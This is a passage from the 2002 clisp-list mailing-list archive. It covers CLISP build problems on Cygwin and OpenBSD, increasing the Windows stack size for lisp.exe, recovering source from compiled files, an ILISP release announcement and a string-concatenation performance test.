Mon Jun 3 12:25:01 2002 X-Original-Date: Mon, 03 Jun 2002 21:23:11 +0200 Hello, the current version of the cygwin distribution for clisp-2.28 that I did quite a time ago does not work because of some problems with ln in cygwin. I did a new version that should work properly using cp instead of ln. It is available at http://perso.wanadoo.es/karsten.poeck/clisp-2.28-i686-unknown-cygwin_me-4.90-1.3.10.tar.gz Un saludo Karsten From samuel.steingold@verizon.net Mon Jun 03 13:19:13 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17EyIJ-0003tl-00 for ; Mon, 03 Jun 2002 13:19:11 -0700 Received: (cpmta 22 invoked from network); 3 Jun 2002 13:19:04 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 3 Jun 2002 13:19:04 -0700 X-Sent: 3 Jun 2002 20:19:04 GMT To: Karsten Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cygwin distribution References: <5.1.0.14.0.20020603211950.00a30ad0@pop3.terra.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <5.1.0.14.0.20020603211950.00a30ad0@pop3.terra.es> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 3 13:20:02 2002 X-Original-Date: 03 Jun 2002 16:19:03 -0400 > * In message <5.1.0.14.0.20020603211950.00a30ad0@pop3.terra.es> > * On the subject of "[clisp-list] Cygwin distribution" > * Sent on Mon, 03 Jun 2002 21:23:11 +0200 > * Honorable Karsten writes: > > the current version of the cygwin distribution for clisp-2.28 that I > did quite a time ago does not work because of some problems with ln in > cygwin. I did a new version that should work properly using cp > instead of ln. It is available at > http://perso.wanadoo.es/karsten.poeck/clisp-2.28-i686-unknown-cygwin_me-4.90-1.3.10.tar.gz thanks - I put it on the CLISP distribution sites. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux History doesn't repeat itself, but historians do repeat each other. From marcoxa@octagon.mrl.nyu.edu Mon Jun 03 13:25:53 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17EyOj-0004Uz-00; Mon, 03 Jun 2002 13:25:50 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g53KQPZ16505; Mon, 3 Jun 2002 16:26:25 -0400 Message-Id: <200206032026.g53KQPZ16505@octagon.mrl.nyu.edu> From: Marco Antoniotti To: ilisp-announce@lists.sourceforge.net CC: clocc-list@lsourceforge.net, cclan-list@sourceforge.net, lispweb@red-bean.com, clisp-list@lists.sourceforge.net, lug@lisp.de, cmucl-help@cons.org Subject: [clisp-list] ANNOUNCEMENT: ILISP 5.12.0 Released Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 3 13:26:03 2002 X-Original-Date: Mon, 3 Jun 2002 16:26:25 -0400 This is the official announcement of the availability of version 5.12.0 of ILISP, a comprehensive Inferior Lisp replacement for Emacs and XEmacs. Apologies if you see this message more than once. ILISP official home is at http://ilisp.cons.org (Momentarily anavailable). CVS support is in place at SourceForge (http://www.sourceforge.net/projects/ilisp). ILISP 5.12.0 can be downloaded from there. Instructions about subscribing to the mailing lists are also at Sourceforge. We encourage all the ILISP users to upgrade and to send feedback to the maintainers. This new release has been made possible by way too many people to risk missing any of them in an incomplete list. Thanks to you all. -- The ILISP Maintainers From Christian.Schuhegger@cern.ch Mon Jun 03 23:48:14 2002 Received: from smtp3.cern.ch ([137.138.131.164]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17F872-0005Ql-00 for ; Mon, 03 Jun 2002 23:48:12 -0700 Received: from cern.ch (pcitco48.cern.ch [137.138.62.140]) by smtp3.cern.ch (8.12.1/8.12.1) with ESMTP id g546m3YP023574; Tue, 4 Jun 2002 08:48:03 +0200 (MET DST) X-Authentication-Warning: smtp3.cern.ch: Host pcitco48.cern.ch [137.138.62.140] claimed to be cern.ch Message-ID: <3CFC62A2.9F9122D7@cern.ch> From: Christian Schuhegger X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Is it possible to decompile a .lib .fas -> .lisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jun 3 23:49:02 2002 X-Original-Date: Tue, 04 Jun 2002 08:48:02 +0200 hello, i had recently an "accident" with some files and several of my .lisp files got lost, but i still have the .lib and .fas files. these files are already quite human readable, but i wonder if there is a tool that could reconstruct a .lisp file out of these two? many thanks for any comments! -- Christian Schuhegger From samuel.steingold@verizon.net Tue Jun 04 06:29:54 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17FENk-0007fJ-00 for ; Tue, 04 Jun 2002 06:29:52 -0700 Received: (cpmta 26773 invoked from network); 4 Jun 2002 06:29:46 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 4 Jun 2002 06:29:46 -0700 X-Sent: 4 Jun 2002 13:29:46 GMT To: Christian Schuhegger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Is it possible to decompile a .lib .fas -> .lisp? References: <3CFC62A2.9F9122D7@cern.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CFC62A2.9F9122D7@cern.ch> Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jun 4 06:30:15 2002 X-Original-Date: 04 Jun 2002 09:29:44 -0400 > * In message > * On the subject of "Re: Authorization required to post to gmane.lisp.clisp.general (2f7df0e1b95d189ca2ea614aa93248e5)" > * Sent on 03 Jun 2002 10:23:55 -0400 > * Honorable Sam Steingold writes: > > i had recently an "accident" with some files and several of my .lisp > files got lost, but i still have the .lib and .fas files. these files > are already quite human readable, but i wonder if there is a tool that > could reconstruct a .lisp file out of these two? not really. you can disassemble the functions in *.fas and recover macro defs from *.lib, but no more than that (I think) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Old Age Comes at a Bad Time. From Christian.Schuhegger@cern.ch Thu Jun 06 07:16:32 2002 Received: from smtp3.cern.ch ([137.138.131.164]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Fy3x-00068m-00 for ; Thu, 06 Jun 2002 07:16:29 -0700 Received: from cern.ch (pcitco48.cern.ch [137.138.62.140]) by smtp3.cern.ch (8.12.1/8.12.1) with ESMTP id g56EGJG4015502; Thu, 6 Jun 2002 16:16:19 +0200 (MET DST) X-Authentication-Warning: smtp3.cern.ch: Host pcitco48.cern.ch [137.138.62.140] claimed to be cern.ch Message-ID: <3CFF6EB3.3060700@cern.ch> From: Christian Schuhegger User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Program stack overflow. RESET: how to increase the stack size on windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 6 07:17:08 2002 X-Original-Date: Thu, 06 Jun 2002 16:16:19 +0200 hello, i just ran into a problem: *** Program stack overflow. RESET i found the following mail (see below) on the clisp-list. i am working on windows and i would like to increase the stack size of the lisp.exe executable. now i wonder how to do this? can anybody give me a hint? many thanks! > FROM: Bruno Haible > DATE: 09/29/2000 05:57:58 > SUBJECT: RE: [clisp-list] Lisp and Memory-- "Program Stack Overflow" > > > > Justice, Randy writes: > >>>I trying to do some recursive memory searches. I have run into a couple of >> >>searches which require large amounts of memory. I understand that CLISP has >>an option of -m to allocate more memory. >> >>>On the NT side, It does not seem to work at all. On NT, I get about 2000 >> >>levels down before "Program Stack Overflow. RESET" regardless of the value >>by option -m. >> >>>RedHat Linux seem to have a limit too. The -m10m gives me about 8000 >> >>levels, -m20m gives me about 9500 levels, and -m40m has the same limit as >>-m20m. >> >>>How do I get more memory of CLISP to use? Or is there a bigger concept that >> >>I am missing? > > > CLISP cannot give you more than the default stack size of the > operating system, because the operating system generally doesn`t allow > it. On Windows, the stack size needed by a program must be hardwired > in the executable (lisp.exe). On Unix, the maximum stack size is > changeable through the `ulimit` shell builtin; its use might require > superuser privileges. > > Therefore all you can do is > a) prefer iteration over recursion when you are iterating through > long lists, > b) compile your lisp programs, then they eat less stack, > c) become superuser and use "ulimit -s" to change the stack size, > then su back to your normal identity and start clisp. > > Bruno -- -- Christian Schuhegger From william.newman@airmail.net Thu Jun 06 07:29:48 2002 Received: from mx2.airmail.net ([209.196.77.99]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17FyGq-0007HH-00 for ; Thu, 06 Jun 2002 07:29:48 -0700 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx2.airmail.net with smtp (Exim 4.04) id 17FyIf-0007ni-00 for clisp-list@lists.sourceforge.net; Thu, 06 Jun 2002 09:31:41 -0500 Received: from balefire.localdomain from [207.136.49.17] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Thu, 6 Jun 2002 09:30:28 -0500 (CDT) Received: (from newman@localhost) by balefire.localdomain (8.12.1/8.12.1/Submit) id g56EQTbD013400; Thu, 6 Jun 2002 09:26:29 -0500 (CDT) From: William Harold Newman To: clisp-list@lists.sourceforge.net Subject: Re: [Bruno Haible ] Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86 Message-ID: <20020606142629.GA16548@balefire.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 6 07:30:03 2002 X-Original-Date: Thu, 6 Jun 2002 09:26:29 -0500 On Mon, Jun 03, 2002 at 10:26:07AM -0400, Sam Steingold wrote: > could you please try this suggestion? > thanks! > From: Bruno Haible > > > Apparently a stupid include file like already defines > > > some of these types. The solution is to change stdint.h.in to first > > > include this file, like this: > > > > > > #if defined __OpenBSD__ && defined __i386__ > > > #include > > > #endif > Or possibly apply the trick we are already using in win32.d: > > #if defined __OpenBSD__ && defined __i386__ > #define uint8_t openbsd_uint8_t > #include > #undef uint8_t > #endif > > Can someone please try this? I have no access to an OpenBSD box. OK, I tried it. $ cvs diff stdint.h.in balefire:clisp/ $ cvs diff src/stdint.h.in Index: src/stdint.h.in =================================================================== RCS file: /cvsroot/clisp/clisp/src/stdint.h.in,v retrieving revision 1.1 diff -u -r1.1 stdint.h.in --- src/stdint.h.in 27 May 2002 17:22:43 -0000 1.1 +++ src/stdint.h.in 6 Jun 2002 14:27:32 -0000 @@ -19,6 +19,12 @@ #ifndef _STDINT_H #define _STDINT_H +#if defined __OpenBSD__ && defined __i386__ +#define uint8_t openbsd_uint8_t +#include +#undef uint8_t +#endif + /* ISO C 99 for platforms that lack it. */ /* Get wchar_t, WCHAR_MIN, WCHAR_MAX. */ balefire:clisp/ $ Then I restarted the build (starting with ./configure into a new directory). It died in make. The tail of the output looks like this: gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c charstrg.c In file included from uniname.c:27, from charstrg.d:1316: /usr/include/stdbool.h:18: warning: `false' redefined stdbool.h:43: warning: this is the location of the previous definition /usr/include/stdbool.h:19: warning: `true' redefined stdbool.h:44: warning: this is the location of the previous definition In file included from charstrg.d:5: lispbibl.d:7181: warning: register used for two global register variables In file included from uniname.c:27, from charstrg.d:1316: /usr/include/stdbool.h:13: syntax error before `0' /usr/include/stdbool.h:15: warning: redefinition of `_Bool' stdbool.h:35: warning: `_Bool' previously declared here *** Error code 1 Stop in /usr/stuff/clisp/2002-06-06 (line 1745 of Makefile). -- William Harold Newman I fought the law of Demeter, and the law of Demeter won. PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From samuel.steingold@verizon.net Thu Jun 06 07:42:22 2002 Received: from h001.c001.snv.cp.net ([209.228.32.115] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17FySy-0008Qs-00 for ; Thu, 06 Jun 2002 07:42:20 -0700 Received: (cpmta 8515 invoked from network); 6 Jun 2002 07:42:13 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.115) with SMTP; 6 Jun 2002 07:42:13 -0700 X-Sent: 6 Jun 2002 14:42:13 GMT To: Christian Schuhegger Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Program stack overflow. RESET: how to increase the stack size on windows? References: <3CFF6EB3.3060700@cern.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3CFF6EB3.3060700@cern.ch> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 6 07:43:03 2002 X-Original-Date: 06 Jun 2002 10:42:12 -0400 > * In message <3CFF6EB3.3060700@cern.ch> > * On the subject of "[clisp-list] Program stack overflow. RESET: how to increase the stack size on windows?" > * Sent on Thu, 06 Jun 2002 16:16:19 +0200 > * Honorable Christian Schuhegger writes: > > i just ran into a problem: > *** Program stack overflow. RESET > > i am working on windows and i would like to increase the stack size of > the lisp.exe executable. now i wonder how to do this? editbin /stack:3145728 lisp.exe 3145728 is the default value. increase it to your taste. note that editbin.exe does not come with MS "OS"es, only with their "development systems", so you will have to find someone with "MSVS" to do this. note that compiling program will save stack too. also, nothing beats algorithm improvement. :-) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux MS Windows: error: the operation completed successfully. From samuel.steingold@verizon.net Thu Jun 06 08:27:41 2002 Received: from h008.c001.snv.cp.net ([209.228.32.122] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17FzAq-0004ed-00 for ; Thu, 06 Jun 2002 08:27:40 -0700 Received: (cpmta 21183 invoked from network); 6 Jun 2002 07:59:40 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.122) with SMTP; 6 Jun 2002 07:59:40 -0700 X-Sent: 6 Jun 2002 14:59:40 GMT To: William Harold Newman Cc: clisp-list@lists.sourceforge.net Subject: Re: [Bruno Haible ] Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86 References: <20020606142629.GA16548@balefire.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020606142629.GA16548@balefire.localdomain> Message-ID: Lines: 90 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 6 08:28:05 2002 X-Original-Date: 06 Jun 2002 10:59:39 -0400 > * In message <20020606142629.GA16548@balefire.localdomain> > * On the subject of "Re: [Bruno Haible ] Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86" > * Sent on Thu, 6 Jun 2002 09:26:29 -0500 > * Honorable William Harold Newman writes: > > On Mon, Jun 03, 2002 at 10:26:07AM -0400, Sam Steingold wrote: > > could you please try this suggestion? > > thanks! > > > From: Bruno Haible > > > > > Apparently a stupid include file like already defines > > > > some of these types. The solution is to change stdint.h.in to first > > > > include this file, like this: > > > > > > > > #if defined __OpenBSD__ && defined __i386__ > > > > #include > > > > #endif > > > Or possibly apply the trick we are already using in win32.d: > > > > #if defined __OpenBSD__ && defined __i386__ > > #define uint8_t openbsd_uint8_t > > #include > > #undef uint8_t > > #endif > > > > Can someone please try this? I have no access to an OpenBSD box. > > OK, I tried it. I assume that this is _after_ you did a "cvs up". > $ cvs diff stdint.h.in > balefire:clisp/ $ cvs diff src/stdint.h.in > Index: src/stdint.h.in > =================================================================== > RCS file: /cvsroot/clisp/clisp/src/stdint.h.in,v > retrieving revision 1.1 > diff -u -r1.1 stdint.h.in > --- src/stdint.h.in 27 May 2002 17:22:43 -0000 1.1 > +++ src/stdint.h.in 6 Jun 2002 14:27:32 -0000 > @@ -19,6 +19,12 @@ > #ifndef _STDINT_H > #define _STDINT_H > > +#if defined __OpenBSD__ && defined __i386__ > +#define uint8_t openbsd_uint8_t > +#include > +#undef uint8_t > +#endif > + > /* ISO C 99 for platforms that lack it. */ > > /* Get wchar_t, WCHAR_MIN, WCHAR_MAX. */ > balefire:clisp/ $ > > Then I restarted the build (starting with ./configure into a new directory). > It died in make. The tail of the output looks like this: > gcc -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -c charstrg.c > In file included from uniname.c:27, > from charstrg.d:1316: > /usr/include/stdbool.h:18: warning: `false' redefined > stdbool.h:43: warning: this is the location of the previous definition > /usr/include/stdbool.h:19: warning: `true' redefined > stdbool.h:44: warning: this is the location of the previous definition > In file included from charstrg.d:5: > lispbibl.d:7181: warning: register used for two global register variables > In file included from uniname.c:27, > from charstrg.d:1316: > /usr/include/stdbool.h:13: syntax error before `0' > /usr/include/stdbool.h:15: warning: redefinition of `_Bool' > stdbool.h:35: warning: `_Bool' previously declared here > *** Error code 1 > > Stop in /usr/stuff/clisp/2002-06-06 (line 1745 of Makefile). oh no - apparently, you did not do "cvs up"! please look at config.log and unixconf.h in your build directory. you should have HAVE_STDBOOL_H undef'ed there because, as we know, your is bad (`#if true' does not work with it). in this case, makemake should add -I. to your CFLAGS, so that the CLISP-supplied stdbool.h is used. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux C combines the power of assembler with the portability of assembler. From william.newman@airmail.net Thu Jun 06 08:40:45 2002 Received: from mx8.airmail.net ([209.196.77.105]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17FzNU-0005rv-00 for ; Thu, 06 Jun 2002 08:40:44 -0700 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx8.airmail.net with smtp (Exim 4.04) id 17FzNR-0004zF-00 for clisp-list@lists.sourceforge.net; Thu, 06 Jun 2002 10:40:41 -0500 Received: from balefire.localdomain from [207.136.49.17] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Thu, 6 Jun 2002 10:41:23 -0500 (CDT) Received: (from newman@localhost) by balefire.localdomain (8.12.1/8.12.1/Submit) id g56FbShS032593; Thu, 6 Jun 2002 10:37:28 -0500 (CDT) From: William Harold Newman To: clisp-list@lists.sourceforge.net Subject: Re: [Bruno Haible ] Re: [clisp-list] can't build CVS clisp under OpenBSD 3.0 for x86 Message-ID: <20020606153728.GA6525@balefire.localdomain> References: <20020606142629.GA16548@balefire.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.25i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 6 08:41:06 2002 X-Original-Date: Thu, 6 Jun 2002 10:37:28 -0500 On Thu, Jun 06, 2002 at 10:59:39AM -0400, Sam Steingold wrote: > > OK, I tried it. > > I assume that this is _after_ you did a "cvs up". [...] > oh no - apparently, you did not do "cvs up"! Right. When/if I get back to this, I will be sure to do "cvs up" first. (For at least a while, I'm going to be messing with openmcl prebuilt on cf.sf.net instead.) -- William Harold Newman I fought the law of Demeter, and the law of Demeter won. PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From ampy@ich.dvo.ru Fri Jun 07 04:59:27 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17GIOl-0002eC-00 for ; Fri, 07 Jun 2002 04:59:19 -0700 Received: from 212.16.216.87 ([212.16.216.87]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g57BwIeC022256; Fri, 7 Jun 2002 22:58:26 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <16010975311.20020607223630@ich.dvo.ru> To: Christian Schuhegger CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Program stack overflow. RESET: how to increase the stack size on windows? In-reply-To: <3CFF6EB3.3060700@cern.ch> References: <3CFF6EB3.3060700@cern.ch> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 7 05:00:03 2002 X-Original-Date: Fri, 7 Jun 2002 22:36:30 +1000 Hello Christian, Friday, June 07, 2002, 12:16:19 AM, you wrote: Christian> i just ran into a problem: Christian> *** Program stack overflow. RESET Christian> i found the following mail (see below) on the clisp-list. i am working Christian> on windows and i would like to increase the stack size of the lisp.exe Christian> executable. now i wonder how to do this? Christian> can anybody give me a hint? Can you please try to explicitly call (gc) in the process of program execution? Gc spends a lot of time, so it shouldn't be called frequently. I don't mean it is normal, but that way you can get an another confirmation (if it helps) that there is an inefficiency in win32 gc's traversal (Joerg's 9nines bug). You may also to risk to change four bytes in lisp.exe at positions 138-13B to desired stack size value (least significant byte first). But you need a binary editor for this and an idea about binary/hex codes. Note - I didn't say that to you ;) -- Best regards, Arseny mailto:ampy@ich.dvo.ru From ampy@ich.dvo.ru Fri Jun 07 16:50:21 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17GTUd-0006Jm-00 for ; Fri, 07 Jun 2002 16:50:08 -0700 Received: from ppp122-AS-2.vtc.ru (ppp122-AS-2.vtc.ru [212.16.216.122]) by vtc.ru (8.12.3/8.12.3) with ESMTP id g57NmreC021837; Sat, 8 Jun 2002 10:48:54 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1401860585.20020608105138@ich.dvo.ru> To: Arseny Slobodjuck CC: Christian Schuhegger , clisp-list@lists.sourceforge.net Subject: Re[2]: [clisp-list] Program stack overflow. RESET: how to increase the stack size on windows? In-reply-To: <16010975311.20020607223630@ich.dvo.ru> References: <3CFF6EB3.3060700@cern.ch> <16010975311.20020607223630@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 7 16:51:03 2002 X-Original-Date: Sat, 8 Jun 2002 10:51:38 +1000 Hello Arseny, Friday, June 07, 2002, 10:36:30 PM, you wrote: Arseny> Can you please try to explicitly call (gc) in the process of program Arseny> execution? Gc spends a lot of time, so it shouldn't be called Arseny> frequently. I don't mean it is normal, but that way you can Arseny> get an another confirmation (if it helps) that there is an inefficiency Arseny> in win32 gc's traversal (Joerg's 9nines bug). Arseny> You may also to risk to change four bytes in lisp.exe at positions 138-13B Arseny> to desired stack size value (least significant byte first). Arseny> But you need a binary editor for this and an idea about binary/hex codes. Arseny> Note - I didn't say that to you ;) Moreover its wrong, very sorry, forget it. Stack size is not at the fixed offset in the exe :( As about (gc) it would be still interesting if periodical (gc) solves your problem. It is important for clisp development. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From lists@consulting.net.nz Sat Jun 08 06:24:28 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17GgCg-0006H7-00 for ; Sat, 08 Jun 2002 06:24:26 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 17GgBf-0000oZ-00 for ; Sun, 09 Jun 2002 01:23:03 +1200 From: Adam Warner To: clisp-list@lists.sourceforge.net Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Message-Id: <1023542786.1616.86.camel@work> Mime-Version: 1.0 Subject: [clisp-list] Large performance decrease observed with timing loop Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 8 15:01:17 2002 X-Original-Date: 09 Jun 2002 01:26:26 +1200 Hi all, Just posting some information about some large clisp slowdowns I have observed simply by increasing a timing loop. The slowdowns are not restricted to clisp (CMUCL performance decreases twice as fast as would be expected with linear scaling). Here's code that I just wrote to (inefficiently) concatenate the matching elements in a list of strings: ;This takes as input two or more lists of strings and concatenates the relevant strings ;Setting merged to first args starts off the string concatenation + sets the correct number of elements (defun merge-list-strings (&rest args) (let ((index 0) (element 0) (merged (first args))) (loop for index from 0 to (1- (length (first args))) do (dolist (element (rest args)) (setf (nth index merged) (concatenate 'string (nth index merged) (nth index element))))) merged)) clisp --version GNU CLISP 2.27 (released 2001-07-17) (built on cyberhq.internal.cyberhqz.com [192.168.0.2]) To demonstrate that the code at least works: [2]> (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789")) ("abcdefghi" "123456789") I then attempt a quick uncompiled speed test: (time (loop for i from 1 to 1000 do (merge-list-strings '("abc" "123") '("def" "456") '("ghi" "789")))) Runs fine: 